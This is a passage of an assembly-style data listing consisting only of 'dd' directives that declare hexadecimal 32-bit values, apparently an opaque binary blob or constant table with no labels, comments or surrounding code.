dd 6BB3245Fh, 2C9739F3h, 30876491h, 0B055F022h, 2012C036h
dd 0A004B55Eh, 0A0124116h, 244F39B4h, 0A437821h, 0B3CE315h
dd 0E621C2D0h, 2E7DE408h, 2F3C657Eh, 892B0836h, 3172CEDh
dd 0B1846808h, 1508E579h, 13523804h, 20321D23h, 50E9410Bh
dd 9F43548h, 92EC0431h, 8F9D0BF3h, 0E85E0BA8h, 99F0E90h
dd 0DABBD6FBh, 0D8C468D0h, 0C8BC2EBEh, 3A8C69ECh, 6A805587h
dd 0F66F99F7h, 2327454Fh, 7EFC8414h, 2BB894BCh, 76E01C8Ch
dd 1AF647D0h, 0D162543Eh, 8526E684h, 0A9219A29h, 6364C300h
dd 1B3138Bh, 0AD4CB74Bh, 30F7AB84h, 0BA01E0C4h, 9AC5AC68h
dd 48686E5Ch, 2DF430D6h, 8E005234h, 8E1BCB2h, 1CFB398h
dd 73A00F7Ch, 30AB4977h, 0A154D24Ch, 0DE067ECCh, 89E74254h
dd 3AFC3091h, 5DBD1559h, 0BC001FF0h, 7BD8526Eh, 5BB49E35h
dd 0A72C0B0Ah, 82221494h, 0BA740F3Dh, 0F24BE2h, 0B7077F20h
dd 8207656Dh, 0AFE80C90h, 2C09B2BEh, 68C48FDh, 19091AD1h
dd 54C0D17Ch, 0B0B44422h, 0D052FD96h, 61C818CBh, 27505EC6h
dd 64A45966h, 0F9935F30h, 894F0808h, 583AEC02h, 2E4EE0C1h
dd 6C00CC34h, 5FDC1E7h, 5184B432h, 0BB701063h, 0C43F5DBAh
dd 25DC310h, 82BEB5EEh, 0A368C342h, 0C2213050h, 0C6D895D9h
dd 94934898h, 619978h, 0A112F42Bh, 0A4B05ABDh, 34AA8708h
dd 23B03058h, 8980422Bh, 44E89938h, 0DBA0066h, 9736E9B6h
dd 0BCAC022h, 929BDA00h, 0C06248D8h, 56A9030Bh, 2C412C14h
dd 8111200Fh, 0EE7B83D5h, 8CCE9053h, 71E1346Bh, 0F2C4E280h
dd 7CE301Bh, 0B861B901h, 95966383h, 4EE4B460h, 0B334004Ah
dd 0B6A2FE7Fh, 60546624h, 4948D3Bh, 5072705Bh, 0AF3048F2h
dd 173C7AC3h, 155CC5E0h, 517788DCh, 41E2E4BCh, 0C7221A7h
dd 9330CE16h, 1FCA664h, 0B424BED2h, 93A459A6h, 3614927Ch
dd 0B4732520h, 5987394h, 0AD2466FBh, 0CE30C057h, 0C61A5CD5h
dd 4010039Ah, 0B933F294h, 0E0421A40h, 28F210C3h, 2C9C945Ah
dd 38488440h, 0BAD202B0h, 0CE32F5A6h, 0D85AC86Ch, 0D73EE431h
dd 0D274202Ah, 99805438h, 2809784Eh, 9F086B84h, 0C6BFB817h
dd 9C7AA80Fh, 205A35A9h, 0E973C209h, 0CCCA8225h, 16F4F0DAh
dd 0A61668ACh, 9752E024h, 23FF254Ch, 65442C67h, 6C5C8160h
dd 0CDA1EA05h, 0B0092EF0h, 4544C297h, 1F3A9194h, 0C293BD0Dh
dd 2323C4D2h, 80CFBC54h, 0F36A67C9h, 0D4AB7000h, 37294428h
dd 13B8A40Ch, 0D276B8AAh, 552198E8h, 2C307F6Fh, 13DCB6BAh
dd 813C9B65h, 0F6F1CD1h, 5E5EBCD8h, 26084415h, 0E5140243h
dd 119C28B4h, 0D8578065h, 8C4AD688h, 78E6244h, 0A2D0D84Fh
dd 0C3FAE264h, 9472F4C2h, 89AE2B0Fh, 0CCC0D6B2h, 4FAB02BAh
dd 9AF00037h, 20835CEFh, 18C0909Dh, 116B60E7h, 8716E623h
dd 51C19A71h, 0CAFD37B9h, 56180841h, 2CE68980h, 0EAD7C8FCh
dd 0CC908E75h, 48205245h, 380D509Ah, 8C18A3Bh, 989189Fh
dd 839E5810h, 5680C465h
dd 48A21081h, 0D587246Ch, 288A085Ch, 0A00EB701h, 32E6ABCh
dd 24E7ADECh, 18753900h, 59914E81h, 0DD140003h, 66EBF9A6h
dd 8917522Bh, 98C250CAh, 89ACFB90h, 0D46749D1h, 0F0601AC4h
dd 0DB7BEC33h, 0F66EC300h, 0F4CF5E93h, 787C0208h, 76EF043Eh
dd 0E0CD50E1h, 8326DAB0h, 6B8154D9h, 398FEA58h, 5957D842h
dd 0ED3030C0h, 0AF81DCFAh, 9D3FC610h, 6CA2890Ch, 242ED066h
dd 83686503h, 7228C9FFh, 5DE31911h, 16E26C42h, 21C5230h
dd 64B4D7A7h, 0B864FFA0h, 0CC3E6F4Ah, 84A06123h, 3F803A0Bh
dd 0B830850Ch, 20B358C5h, 0EF3068A2h, 452A02BAh, 0F2B1DB4Fh
dd 7B5EE040h, 5F4C0FF6h, 0D90212E4h, 9234C010h, 68235C2Eh
dd 837E820Eh, 0C09466DDh, 2FE2382Bh, 20A435F3h, 18A08886h
dd 3ED58309h, 7FF890D2h, 286CEC06h, 45D81AB0h, 0A8984469h
dd 0ECD8418h, 0D810E749h, 8F00B963h, 31098479h, 627B8D5Ah
dd 4E6C70CEh, 0B428F480h, 3A52D8BDh, 0B5322D0h, 412E8376h
dd 0F8236813h, 0D85D016Bh, 7C7AD68Eh, 5594B020h, 4873E0D8h
dd 27C04CD5h, 0D1E5AE68h, 0E16C2100h, 0A2D63398h, 0BDB3092Fh
dd 0C0D9E603h, 0E408BC24h, 5099007Dh, 7570A227h, 64D11C9h
dd 4F98FE2Ch, 846C90FCh, 653F12BCh, 97712486h, 8F0C832Fh
dd 0D9925B5h, 12E42C65h, 6C636662h, 4C2778D7h, 0C0D213FCh
dd 2D3CA65Dh, 3638C123h, 85CC48h, 0AC92F928h, 0B3945B1Fh
dd 43F84A26h, 76024A26h, 74809AFDh, 0D895050Ch, 9EF4C2FCh
dd 4F10105Ch, 4C50BF10h, 0A8393844h, 960F848Ah, 9C44CA09h
dd 58E7CE0Fh, 80338C20h, 0A44AAA87h, 50E24813h, 3F710107h
dd 172AD0D2h, 8D1DB805h, 0CF490ABCh, 0A240C065h, 0BAB8A8A8h
dd 868C20Dh, 7C5E0CE1h, 0F2D6477Ch, 19717D6h, 585B8C0Ah
dd 18083112h, 8C970B6Bh, 2634580Ah, 0B0C513C6h, 5D272284h
dd 102CC489h, 930426E4h, 0C0A34008h, 9E5C108Dh, 0B04838F7h
dd 1710855Ah, 439FC87h, 0E4302EE0h, 0FF22069Ch, 0C4A4A527h
dd 84546362h, 7E800CC0h, 4ADE25BBh, 0E091B064h, 980D8905h
dd 2580B0C8h, 42FE8Bh, 9988B453h, 0D88F8386h, 28FE8283h
dd 4F91113Ch, 686B8C87h, 4EE7BD94h, 8EA4C418h, 0CF67C804h
dd 3AC1A1E0h, 1013DD60h, 3467B624h, 671E5B54h, 34FC8C20h
dd 0FA3D464Ch, 0C2ED0664h, 44986A48h, 8CB69DE7h, 0E65E25DCh
dd 8DD2C448h, 58825900h, 99DFFA53h, 75F725B5h, 0C860A441h
dd 0B34B4C88h, 0BC240C45h, 87ECCC55h, 61C7B910h, 840500E9h
dd 4AB5FB4h, 5EA8EAB1h, 8EB8C29Ah, 0EC4CF06Ah, 5F1C849Dh
dd 6922E410h, 804CE65Ch, 8D3D7D58h, 64740F62h, 0E820A8C4h
dd 0D9BAD4D7h, 4B28708h, 148E0272h, 7136683h, 0A955D341h
dd 28841968h, 642513CDh, 4E8B0445h, 49B298F3h, 0D5CB30h
dd 92D953Dh, 789A8BF4h, 32E84361h, 8343BDAh, 9C751EB7h
dd 5A65C261h, 205683E2h, 0BA166801h, 29839B0Ah, 78D0D289h
dd 8B74D04Dh, 645AE7h, 0FCE86766h, 70238996h, 2AA8710Fh
dd 562EC774h, 423C5252h, 5AB88939h, 0BBD60A8Ch, 268C47C6h
dd 0B55CC1E4h, 3BE430E4h, 47F1640h, 6A0A1FDCh, 454B258h
dd 4422BBD8h, 4B22A48Fh, 0CE49D4B0h, 83D6819Ch, 6C242F56h
dd 46BA8840h, 7F94E8C4h, 7E0528B7h, 819DE8FFh, 9409634h
dd 18A2C466h, 3C89230h, 0EA72737Ch, 0BB99B877h, 0DCF0AE1Eh
dd 4B1AC468h, 97E0E619h, 0F8006837h, 0EB47A57Ah, 0CE7501D6h
dd 934C33DFh, 46A42470h, 40DEBC2Dh, 298BD6E0h, 49D05736h
dd 1E0364F9h, 0EDB6E813h, 60B5EC12h, 190DE000h, 0C8F5486Ch
dd 250A52Ch, 6E6FD520h, 24742042h, 6D607F64h, 8721A5F2h
dd 653EC059h, 22E8A6F2h, 240CA494h, 0E79EC0E1h, 0C40DA8BAh
dd 20C007A2h, 4A40AAA0h, 9A6E3CCFh, 0AB18367Ch, 4620E0C1h
dd 0E4A2083Bh, 0E627F4B6h, 347F5834h, 8C2ABCh, 0FFEECCE2h
dd 4C6A0490h, 0A0B5CE7Dh, 7A3C4580h, 94F40070h, 0DC2EA3B2h
dd 0C0827E8Eh, 0B55664ACh, 6053583Ah, 2D1670h, 30AC8338h
dd 7EF55FD9h, 42CFA38h, 3722A062h, 45B48C8h, 0BD57E2A2h
dd 4B7C81C7h, 20E061B8h, 6E40E864h, 0B05A4D17h, 0F9070E00h
dd 4CC294C4h, 8E695204h, 0C8C9A2Ch, 6E541D89h, 176F9790h
dd 407C2058h, 0C2F8A592h, 0C9BD5B02h, 7A097C79h, 27EF20C8h
dd 0EC34CC90h, 90827869h, 4558E1CFh, 26F8E47Ch, 2F26E48Fh
dd 0AE93D606h, 242C204Dh, 0CE40A0B5h, 310F48E5h, 0D7C02EB8h
dd 0AC6F2AF5h, 0CBF2AC00h, 96BC9E29h, 0DE301F41h, 0AECC2D16h
dd 8BA0C460h, 538CB217h, 8750B443h, 4E90A018h, 9D72309Eh
dd 134B7C20h, 68A0286h, 0BE0DE16Dh, 230FDC51h, 0A289C1EEh
dd 88325E74h, 9DC3A6Ah, 588265F7h, 68032BDFh, 5FE2C175h
dd 10E8243Ah, 0D506E044h, 50DDE065h, 0A163E425h, 0FACC0D14h
dd 32BC9F00h, 0B56C079Dh, 0BD005889h, 1391F897h, 9E6F2380h
dd 21554EECh, 0C490D78Ch, 10C9033Ah, 803005ACh, 2F5A98BCh
dd 4B2374h, 9CF2F382h, 6E16D9D5h, 34096DEEh, 548489D0h
dd 8BD88218h, 0A064382Ah, 68C8015Bh, 195A617Eh, 0BD1BD6C5h
dd 0DE830B30h, 0AAF8C949h, 934908D3h, 0A0044C3Eh, 9CCE656Fh
dd 6C01788h, 0F31174h, 0F70E601Ah, 421FA3D2h, 84205891h
dd 0C8FC950Bh, 44A81658h, 0DA2ABA76h, 3B2DF443h, 0B23821A1h
dd 7C24FF02h, 0AE270FD7h, 6BA93288h, 4AF1FC79h, 2400FF18h
dd 0A306EA90h, 77A0721Eh, 8C3254ECh, 0C75230F6h, 72D03E31h
dd 0A491165Ah, 290954B0h, 0A42F5BC8h, 0B9001223h, 0D230E5FDh
dd 7022F32Bh, 596BBD05h, 0BF448015h, 0B313E0F2h, 7810E689h
dd 8C19E8D0h, 12476E03h, 0D2C2C7E3h, 8A14403Ch, 2043823Fh
dd 0DF136039h, 0DB115C3Bh, 42DBF83Ah, 0CC04E43Ah, 0A819073Ah
dd 0E68092DFh, 0AF48F4h, 9868BA5h, 14F6D08Ah, 7AD23F15h
dd 0DCF30F80h, 0F921EBB4h, 74B7AFACh, 19360B3Dh, 40FC4F16h
dd 7548C41h, 72F80A30h, 0D79B0D0Eh, 0C9280EC9h, 381167ACh
dd 867C024Ch, 12928E7h, 693678A9h, 0FC44DCDFh, 8800AB64h
dd 9694E5C7h, 24EE997h, 310D8127h, 8856835Ch, 52C49F85h
dd 48368CB0h, 34CE6806h, 0C0180C90h, 974AF0F0h, 8CB57489h
dd 2AF2C73Dh, 0C897A717h, 63806791h, 87954BADh, 13F6B13Ah
dd 64E6221Ch, 49CEB1E7h, 32A70B5h, 330A6201h, 0BED89AC7h
dd 21C4822Eh, 54483602h, 114F0054h, 6683DA89h, 4632B01h
dd 1E82BC16h, 5E2DFC79h, 0C49E4CC0h, 4120AA31h, 5863157Ch
dd 0E8331AE2h, 0FC471ECh, 90EBE95Ch, 0ECA30DE5h, 0C7248050h
dd 13B27EB1h, 0B064CA55h, 47418818h, 0EDF4207Eh, 3698E4B1h
dd 0C8EA0D00h, 90AA3455h, 9966761Fh, 184BD1C0h, 35630077h
dd 8CE2259Fh, 0B8328BD5h, 58457AD2h, 0A4185854h, 0D498818Ch
dd 7F107761h, 9849B34Ch, 8CCDEDEh, 9805306Ah, 2C815527h
dd 95014E97h, 0A355C6D9h, 4B319A9Ch, 54D08C19h, 5817D04h
dd 6878B1A6h, 4D971913h, 62B704C1h, 4CE181ADh, 2AC46109h
dd 497A09Ch, 1B2DAAE8h, 7416AB4Dh, 0A8D26CF2h, 0DBEE1F6Ch
dd 24A02E13h, 7666059Ch, 81C47C55h, 3F0516F4h, 90A9E852h
dd 9BDB3861h, 688850CDh, 54607599h, 8ABED318h, 248A42Fh
dd 62E59756h, 7B0B0A9Ch, 702265B4h, 0F1976168h, 0AFB9E517h
dd 0A0C5D4A6h, 0DA8820CCh, 824C1959h, 54D62AF0h, 1C804D58h
dd 0FCAAEABAh, 0E818C525h
dd 4A90F6C0h, 9FF4D00Ah, 0BFFF06CCh, 27833B60h, 7E7C9934h
dd 14E0D2D2h, 34D19BD8h, 4BE7CAC2h, 0D369B072h, 60247671h
dd 0C95B574h, 30DFD537h, 97504409h, 0D0FE6C62h, 42176842h
dd 0CC805508h, 0A419C144h, 0B2897F0Dh, 0C1A369EBh, 8C9F1450h
dd 56A0C9h, 0D96B690h, 18A84CCEh, 0A9DA380Ch, 926451D0h
dd 85A0D018h, 26008EE4h, 0E9B7C4C2h, 0FE5FB61h, 8B900CB8h
dd 0AC02B569h, 6C835820h, 600F45F8h, 0A4EE2450h, 5109655Dh
dd 0C1A8E830h, 0A9B87011h, 9EAC4588h, 0D84BC100h, 62970D9Eh
dd 0D53E1937h, 30AC68F6h, 334C9407h, 3E48188Bh, 87B1800Ch
dd 0DE843A58h, 3404CCD6h, 0E8541DE2h, 0AC218234h, 8C46BC44h
dd 92D4EA0Ch, 408A58FDh, 8984E15h, 0BA295661h, 8075FB0Ah
dd 428CCF0h, 31EABBCEh, 0D23E0363h, 64C1010Fh, 0E74351CFh
dd 6B582461h, 51EB000h, 5D96E1C6h, 0B40A0048h, 0D62E889h
dd 3E0255FAh, 9320058Ch, 266872DCh, 984C97FEh, 241449A4h
dd 92E7CE01h, 4A13DA58h, 10819080h, 34825D2Fh, 0B52339C2h
dd 0ADFCA257h, 0C098520Dh, 665F45C8h, 734D0A3Ah, 985D3E64h
dd 47214E1Ch, 319E65E7h, 0E8E9FCh, 8D418619h, 2F87AD4Ch
dd 0BC0028AAh, 6F5F1EBAh, 21E830E9h, 0A2CEF619h, 80BAFDC1h
dd 0E7968108h, 0BE803380h, 0D3A9BAD8h, 0A9B01830h, 961D5B4Dh
dd 2B9E6A1Ch, 0CD81D8C6h, 38A14C89h, 32D61964h, 0C1A08471h
dd 0F86420AFh, 220024D8h, 0C63C1E8Ch, 0C0063533h, 8DA42991h
dd 8B001160h, 765E7DD5h, 0B9E7A68Eh, 0AF803D84h, 0C5B4A799h
dd 0F301E092h, 0E3B9798Dh, 0E1E1C09Bh, 40108C20h, 9A162746h
dd 3C4B526Ch, 0FA07A36h, 0BE4ABCDh, 774FC1E0h, 2E287930h
dd 38C47483h, 93026D80h, 0C02B23D6h, 80024238h, 19C70806h
dd 0A37019B6h, 931A46h, 0EA22F5CEh, 0B59AD2B2h, 0CB3E0700h
dd 0FF7F4D63h, 32AD0117h, 0F9CF1C15h, 54EA207Dh, 40C18A5Fh
dd 781841BAh, 4C52BE28h, 33D98112h, 68C8808Bh, 49777AC0h
dd 0B9D70076h, 2AAF57C3h, 0BB251129h, 188370Dh, 33905F49h
dd 0F3BD823h, 0E49C2C7Eh, 51B4E142h, 28AF040h, 602A2184h
dd 0EBD3110h, 0A4D21120h, 82BB5081h, 0B07B0030h, 0AA7D021Ch
dd 34ABDABAh, 188914D6h, 105CC295h, 142C7EB4h, 0C87D604Eh
dd 59FC0490h, 63B0A700h, 6DB6A385h, 964F0083h, 0BF9E7B6Ch
dd 0CA0766Bh, 6A009D2Fh, 63C0907Ah, 80B04F41h, 613CAEA3h
dd 66C10F89h, 8FC08F7Ah, 5FC4817Bh, 62DD9487h, 1DB2A5F0h
dd 9F846Ah, 0C44F8870h, 970C8967h, 287D726Dh, 9B841E64h
dd 988C40B9h, 923565BBh, 0A240BC60h, 691E7Bh, 806CAE97h
dd 8A6DC64Fh, 0B575D07h, 1E733C1Fh, 406E535h, 3E806E75h
dd 720071C0h, 5A6150A1h, 84311E90h, 0C098799Dh, 62713EE3h
dd 4C18A637h, 0A85485E1h, 7E1F6A08h, 7602AF9Fh, 8D27B1A1h
dd 88808038h, 71BF946Bh, 0BB409E7Eh, 236D036Ch, 415A3988h
dd 69B0E80Eh, 5238B85Eh, 6272324Fh, 0A0809040h, 6A4DB892h
dd 3B6D8300h, 8B15435h, 0BF7F3C22h, 9BB378B8h, 3AA18AE1h
dd 65788293h, 8E61BCA1h, 203CB5A1h, 8D430179h, 6347C198h
dd 92000A4Fh, 9CA37E76h, 1CF96953h, 679D3983h, 10BF9FCh
dd 430AB215h, 443F4238h, 0FF7AA8h, 0D3B183DAh, 34AEB562h
dd 0AB44B984h, 0C0AAE828h, 0C69A8B19h, 0A2B5147Fh, 2961B690h
dd 48B2BC5Eh, 0E5141018h, 0A8A2E924h, 44A69389h, 30E42C88h
dd 589D1900h, 0EC6209D4h, 16416065h, 9A900250h, 0C02544B9h
dd 5A95D8CCh, 0FE78C847h, 407C2CA2h, 0F1A860B0h, 0A0289613h
dd 0C514257Ch, 0AC943071h, 0B7586468h, 3690B924h, 0BCD1B8A1h
dd 0F1CB08E4h, 0C0848F45h, 87CA9438h, 0D8AC7E11h, 0B2463F87h
dd 0BE421CFAh, 1A0C61A4h, 0A036012Fh, 0E420F835h, 5C7E449Ch
dd 80AA822Eh, 0C4C81B4Bh, 0E2444008h, 7F5C42BAh, 0C4D427D7h
dd 0B68C425h, 357293DAh, 0C7816441h, 106F2800h, 0E2B850D2h
dd 443FFF6Bh, 326D9C14h, 0CC9F216Ah, 0BC438BAh, 0C161C1D0h
dd 0AFDE9A60h, 24EAEAACh, 1E4B7A0h, 0F2B49E15h, 9B2D7A98h
dd 9898C182h, 0A89A1ECh, 0AFD2B818h, 0B228BCB0h, 910EA40h
dd 0D632A056h, 32C5041Bh, 0D8117144h, 0B4DC2815h, 68A6FC94h
dd 85608208h, 0C866D13Eh, 0E86ACAD0h, 0AB1B0441h, 0D8182191h
dd 0E0C8B390h, 0D032A364h, 99111C2Ah, 48302089h, 11417338h
dd 98D0306Fh, 683271F3h, 30BB4055h, 0C4972456h, 0EA9CA3BCh
dd 251D0F16h, 890B5846h, 35661AD6h, 20E7059Ch, 3A0B931h
dd 173922A9h, 0AA21034Eh, 8397027Fh, 0F90E017h, 34180404h
dd 19AE70A0h, 4837D75Fh, 75AC530Bh, 43062820h, 984EF244h
dd 185FAD50h, 214618D8h, 0B425B3D9h, 19105065h, 18EE4E15h
dd 0A0D13B37h, 41892EE6h, 48E8F595h, 0B861B388h, 36B52439h
dd 1E5D5180h, 0D66F3EEDh, 0AE8FE400h, 0D99565C1h, 323902C6h
dd 0B324BE57h, 519DAC90h, 2431D022h, 4080D2BAh, 28392D84h
dd 2560D490h, 0A58B14E0h, 1C34E856h, 59FEC171h, 0D080184Ch
dd 37483972h, 0F322204h, 4A4E3E65h, 81A62D80h, 0E0B84BD5h
dd 59537101h, 49879E64h, 404F099Eh, 2215BB7Bh, 0D713918h
dd 4C38992Bh, 0E80C494h, 0F419FDA5h, 8D0988E0h, 0E4484EA1h
dd 0F0C8F87Eh, 278511D9h, 9A541108h, 0B51FD422h, 3EF04265h
dd 0D8A0F4D2h, 76049AC5h, 0EB0C69Dh, 1D2291BAh, 0F012E58Fh
dd 0AD5187E4h, 65219EBCh, 4E22D16h, 0EA83127Ah, 40D85357h
dd 4C8A6CACh, 0F2183902h, 5E71A136h, 86D4E95h, 0EA836080h
dd 34FB5EEh, 30C5FFEEh, 0C10B1136h, 80F79FAAh, 1EF247EDh
dd 3ABF19C9h, 1030401Fh, 15C75779h, 9032B424h, 10D05919h
dd 0C1AF102Ah, 21BA0767h, 31A9A055h, 6F18D531h, 7EF7E445h
dd 8324ECB8h, 89744274h, 9E82BCA3h, 80EF48F8h, 3FFED919h
dd 0D6E0DB79h, 0CF0201E6h, 9389D1C1h, 20B09D35h, 163A5EC4h
dd 20172C82h, 6E5C10BBh, 0D0FE8A74h, 380904E2h, 644EDF8Bh
dd 61C007E8h, 0D82810h, 120A819h, 0A4825D25h, 1C935E80h
dd 5159CE9Ah, 0EE1883Bh, 10911180h, 0F607A164h, 290C0248h
dd 5992D476h, 0A888A812h, 86609164h, 215D83DDh, 8D266490h
dd 0DA0A8434h, 9E020CBBh, 0A9213667h, 8F6051D0h, 1AA08DBAh
dd 0B0444046h, 3E2018B0h, 58148C4Bh, 9128383Ah, 72832130h
dd 0C46A2C3Eh, 6985368Ch, 3A00050h, 378789AEh, 210778D8h
dd 5AC8FFE7h, 53673h, 5F1AFE29h, 75DDCF53h, 24F58804h
dd 4883EB1h, 85689858h, 1B2EE128h, 0A4800E57h, 2862684Fh
dd 21482CA0h, 0F9BC90BDh, 6842583Ah, 2000822h, 306063ADh
dd 4810F0EDh, 14C81C06h, 8D6E5960h, 1DC02EA7h, 67E58A88h
dd 1E924298h, 0D28F0E4h, 22210C68h, 10C33F20h, 0AD2F0C32h
dd 1B91C417h, 0DCF7C80h, 100BFB8Dh, 9907DFEh, 8FA8542Dh
dd 5CC05752h, 1AD23C6Dh, 5E818F0Fh, 0AE07D2A0h, 5F20AE5Bh
dd 250DBA73h, 7C4922E7h, 7DDED0DDh, 66133900h, 6AFAA075h
dd 409FBD6Dh, 0FC332308h, 72332321h, 9188177Fh, 67818F31h
dd 0B6B1B56Eh, 5C30C118h, 64160BEEh, 0E0D9F7A0h, 4B186279h
dd 0D40DC103h, 40BED925h, 0FDAA9048h, 7E386015h, 372F2EEEh
dd 89440145h, 0FC85BBE8h, 80F2CBE3h, 0C5449538h, 478834E9h
dd 7E4E9CB2h, 0B8B548B6h, 86F004Ah, 0BFCE201Dh, 2E904E4h
dd 0BF706AF7h, 9532F028h
dd 1711101Fh, 38E48F80h, 9A0BF76Ch, 724F04FEh, 5506442Ch
dd 51009670h, 0A77BBC12h, 3861429h, 0BD0789A6h, 0C0F49AEAh
dd 9CFB7F58h, 8D725812h, 0E02DD088h, 0E9590097h, 0C8D3D556h
dd 0F6B88777h, 0C2698F00h, 77D3D0Bh, 0C74E02B0h, 689E0CBh
dd 512D14F3h, 18307938h, 0A0DE07F8h, 527EF521h, 4AC262FDh
dd 467E0056h, 18E3964h, 47E49DEAh, 2F2AD989h, 348237Ch
dd 5E42AF75h, 89B3D4E0h, 4EFCE500h, 23BA15E9h, 83509B7h
dd 981D6824h, 809D2A11h, 0F00C3E41h, 0A71714CFh, 3898332Ch
dd 8283B7C9h, 0F9ADF398h, 3FAB81Ch, 0B3CA71B2h, 23E0FF7Fh
dd 9C90D509h, 0D041B145h, 0C6CAF02h, 78C17BCh, 55F73B78h
dd 95755003h, 0CB00CFCEh, 76F8D8F4h, 4C310ABCh, 7C56708Ah
dd 0D77C60F7h, 780B0FE4h, 0C565AF24h, 8879A5A4h, 55779600h
dd 1F67EB1Ch, 4472316Ah, 0EE05906Eh, 9D0DA442h, 46E45C32h
dd 0AE0040D5h, 0AA674BDh, 0F145C576h, 3A8BA870h, 0B2110E71h
dd 0B45C1F05h, 0C64B3043h, 2FFDE39Eh, 8410D019h, 0ACBC8E16h
dd 12B04094h, 60E2AEF9h, 19C0F8F7h, 231104h, 95E0B55Dh
dd 0EFA0F5D8h, 29103530h, 0A23441h, 625EBDF4h, 0FFA0D1FDh
dd 0F72A0401h, 4B66196Eh, 1002F842h, 3C2DE8CFh, 0C214E758h
dd 4410190Ch, 0E242847Eh, 832038F4h, 8916BB46h, 0F26CA2ECh
dd 12CF304Ah, 0D3CDCA02h, 5776B725h, 6A91649Dh, 0A15A9380h
dd 0A504BCB5h, 98D365A9h, 0FBA00C0h, 50A0BFE6h, 0D0F3A7FAh
dd 0DC0B7C00h, 0B357D235h, 0A4100139h, 187465FFh, 0D7598059h
dd 82CE7361h, 5CD403A9h, 0B05D0FB5h, 80813FF1h, 0DEC85450h
dd 0CB03BCA8h, 0CCD2FDD9h, 15FBB700h, 0A3F9BE7Eh, 0ED16010Bh
dd 4C821BCBh, 80393135h, 0CA84F629h, 0A6E475h, 872096F3h
dd 0D83C04F8h, 1800D678h, 4F365064h, 0F41BD1CEh, 1814654Eh
dd 5563C067h, 9E12F6D7h, 0D8B5363Eh, 86C4D0h, 0B308CAE5h
dd 5DCF023Ch, 2C12177Bh, 0AC313BB0h, 2838E49Ah, 0E3545301h
dd 435B4560h, 11CE1A04h, 46E7C000h, 5599B4E1h, 0F7DB0088h
dd 84D5772Fh, 567DEF3Eh, 0F6D039h, 58784DABh, 6FE2D3B2h
dd 72004070h, 64B8D2DBh, 0A2C8B00Ch, 1860289Eh, 40403C1Dh
dd 5E284645h, 0CF74386Fh, 10E6E40Ch, 0FD82049h, 465F1E74h
dd 0C7F19C80h, 2E012157h, 0CA79ED35h, 5CD80937h, 7DD400DFh
dd 0FC3D83A4h, 1C770CF3h, 9C3B6600h, 0D4DB7034h, 0B25A1490h
dd 9D3044A0h, 0BCF38151h, 9A311760h, 6088E575h, 0C0B08028h
dd 0AA1F8095h, 0EC0D7A4Dh, 0CDCC1846h, 3D6F408Dh, 0B158D530h
dd 3C0AF3EAh, 0E39F0898h, 944C5406h, 30A25586h, 0B029E41Eh
dd 106D590Ch, 0CED50D76h, 0F170CC1Dh, 18198AF9h, 448CC80h
dd 5E501ADCh, 728610FDh, 9B141855h, 948534h, 0E5199951h
dd 50CBDD60h, 487480A1h, 5B39FCC8h, 297A1699h, 452D0835h
dd 0C927F29Eh, 0FB34B0A0h, 1F2F1C07h, 32B280F1h, 182006FDh
dd 0B417CC00h, 618AE428h, 373B00C5h, 5F03EAF8h, 203BCE60h
dd 1F3003Ch, 5C834D19h, 9F490094h, 9A2145CCh, 661CD325h
dd 0A03E3C6h, 0E04672B9h, 6A0E537h, 0F7BF1954h, 21CF184h
dd 0D1401D9Ah, 0C65917Bh, 3EF20EB9h, 0C7CC2106h, 28030811h
dd 0CD1CF616h, 7FF097ECh, 0F37768h, 0F03D79ABh, 727BDD8Bh
dd 8F80CF01h, 383F183Ch, 0E0A4830h, 794B4DEh, 798AAB46h
dd 59A5600h, 0F42634Ah, 755E003Ah, 0B6169054h, 7300C9F2h
dd 240E1F36h, 771764Ch, 77AC4A1Ch, 0D7007E5Bh, 1B40B381h
dd 0AB00ECB8h, 263DB1D6h, 0FF7C0C1h, 0FAD4376Ch, 76D21EA0h
dd 0D01EA974h, 0A4C08E83h, 0D6BAB7A1h, 3D0B7462h, 0E9873815h
dd 94FF1713h, 0D12B8025h, 0AD01ECE6h, 0FDE3EE91h, 0A44019D5h
dd 0E05016h, 0CC24F5C8h, 0B01D7AAFh, 0F0453Dh, 4B5EC327h
dd 695EEE1h, 0C24E343Bh, 7B00381Ch, 0B6EA8257h, 221B945Eh
dd 5C01A1C6h, 43A2CABCh, 9ADC3F6Fh, 527056h, 0EC3E74AEh
dd 1E5BDB3h, 823F103h, 89D1AFEDh, 6AE0D925h, 8214099Fh
dd 6020D602h, 9270F7C6h, 3FDC6654h, 36380300h, 1C5983D6h
dd 888500FFh, 3DB2F36Eh, 0E41FC2BDh, 92DE57C5h, 781CC140h
dd 4DA2F9h, 0BBE01421h, 0E810FA79h, 0F8CE9F07h, 5C5081B9h
dd 4288DCh, 59A2F59Ch, 29961E63h, 885B7030h, 0A09D7Ah
dd 3E974BA4h, 0A28F61AEh, 2F9656C0h, 0FE877CA7h, 0F9740098h
dd 0C78B5871h, 0B4165AE8h, 1E0070CFh, 0B16273CCh, 0EEDD09C9h
dd 7023FDECh, 20A891B5h, 3D3ED535h, 7626752Dh, 0D30183E7h
dd 5A757AA5h, 53020h, 0EF849799h, 13D919Ch, 6D96A903h
dd 0C85CCD13h, 1DB366BCh, 407DBEDBh, 2D4C23EFh, 0C503FBA0h
dd 45B67044h, 80A9ABA1h, 6B3F6BEh, 0CE5F2B5h, 0F99820C6h
dd 35FE7303h, 0CEE4E49h, 0B67B3F40h, 9406A28h, 0C76B0030h
dd 0F34B3DE7h, 2100CFDBh, 7CBC71CDh, 1F462Fh, 0F1D3AC73h
dd 6E8395EBh, 0F69F0712h, 422CB800h, 606B0Ah, 4C555C37h
dd 8BAD2320h, 0B6AA5F01h, 9DB0691Bh, 8F19F840h, 1629026Bh
dd 5A34319Eh, 59B6C480h, 0AF76E0ECh, 0BD00C9B8h, 0B1DEEE4Bh
dd 3FEB735Ah, 0E4BA63B8h, 2400353Fh, 0F2C23C7h, 29F013F7h
dd 1788CC60h, 0A1A0DF5h, 4C30B8A3h, 0C60101C4h, 0CC402075h
dd 0E8032959h, 0C0ED0F7Ch, 0C814EB33h, 76B1955Bh, 0FD7739Bh
dd 1A9928C3h, 0B5C04BCEh, 0A30F17FEh, 0BC0907E0h, 234995h
dd 152D22FCh, 0D7D204F7h, 81C5553Ah, 0D09398ECh, 0BE0F2BBAh
dd 431626E8h, 0D0F64B39h, 3F1EC14h, 0CDAEB017h, 0CB903BC7h
dd 98E02FD8h, 8DE2A200h, 0AC68C4FDh, 0F44A0F31h, 1A803C89h
dd 0CE019133h, 0D16CEE03h, 0C02C5CE5h, 0A0BE02h, 0F2838058h
